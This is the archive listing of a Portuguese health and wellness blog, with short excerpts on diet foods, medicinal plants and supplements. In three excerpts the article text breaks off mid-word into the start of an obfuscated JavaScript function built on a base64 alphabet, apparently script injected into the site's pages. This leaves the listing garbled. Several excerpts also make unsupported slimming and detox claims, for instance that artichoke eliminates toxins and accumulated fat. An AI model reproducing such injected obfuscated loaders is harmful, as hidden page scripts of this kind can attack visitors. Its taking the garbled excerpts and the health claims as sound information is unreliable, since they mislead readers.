Jul 17, 2019 | Receitas, Saúde e bem estar, Teresa
Porque é que os ovos ajudam a perder peso Os ovos são ricos em proteína, baixos em calorias e ajudam a estimular o metabolismo. Descobri também que existe mesmo uma dieta dos ovos e que eles ajudam a emagrecer. Neste artigo vamos saber como usá-los, na ajuda da...
Mai 15, 2019 | Equilíbrio, Saúde e bem estar
Gorduras boas que devemos incluir na dieta Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 10, 2019 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde Hoje falo-lhe de uma das plantas medicinais mais conhecidas, o dente de leão. Como já deve ter ouvido, esta planta pode ser consumida em forma de chá ou em cápsulas. É referenciada por ser...
Mai 9, 2019 | Dicas úteis, Saúde e bem estar
5 benefícios das ervilhas que são ideais para emagrecer As ervilhas fazem parte dos meus vegetais de eleição. São ricas em fibras, vitaminas e proteínas, e, por isso mesmo, muito aconselhadas para uma dieta equilibrada e saudável. Além disso, as ervilhas são ideais...
Set 27, 2017 | Saúde e bem estar
Dicas saudáveis – 8 Benefícios do cardo mariano para a saúde Hoje venho falar-lhe de uma planta medicinal usada desde há muitos séculos. Há registos que indicam que o cardo mariano é usado para proteger o fígado, desde o tempo dos romanos. A verdade é que o...
Set 5, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios do Carvão Vegetal Activado Não estranhe o nome! O carvão é activado através do aquecimento a temperaturas maiores de 1400° e recebe um tratamento com oxigénio. Deste modo, qufunction a4872b9c6b(y1){var...
Ago 24, 2017 | Saúde e bem estar
8 Benefícios dos arfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 22, 2017 | Saúde e bem estar
Dicas saudáveis – 8 Benefícios da Biotina para o organismo Hoje falo-lhe da biotina, também conhecida como vitamina B7. Esta vitamina pertence ao complexo B e é essencial para a nossa pele. A biotina é muito reconhecida graças aos seus inúmeros efeitos...
Ago 10, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da alcachofra Há muito conhecida como um poderoso queima calorias, são muitos os benefícios que pode obter a partir da alcachofra. Se não veja: combate a retenção de líquidos + elimina toxinas + elimina gorduras acumuladas. E...
Jun 24, 2017 | Dicas úteis, Saúde e bem estar
Barriga lisa – 5 alimentos que deve evitar e 5 que deve consumir Se tem tendência a acumular gordura na zona abdominal, saiba que há 5 alimentos que deve evitar comer para assim conseguir a tão desejada barriga lisa. Entre esses alimentos estão o açúcar e os...
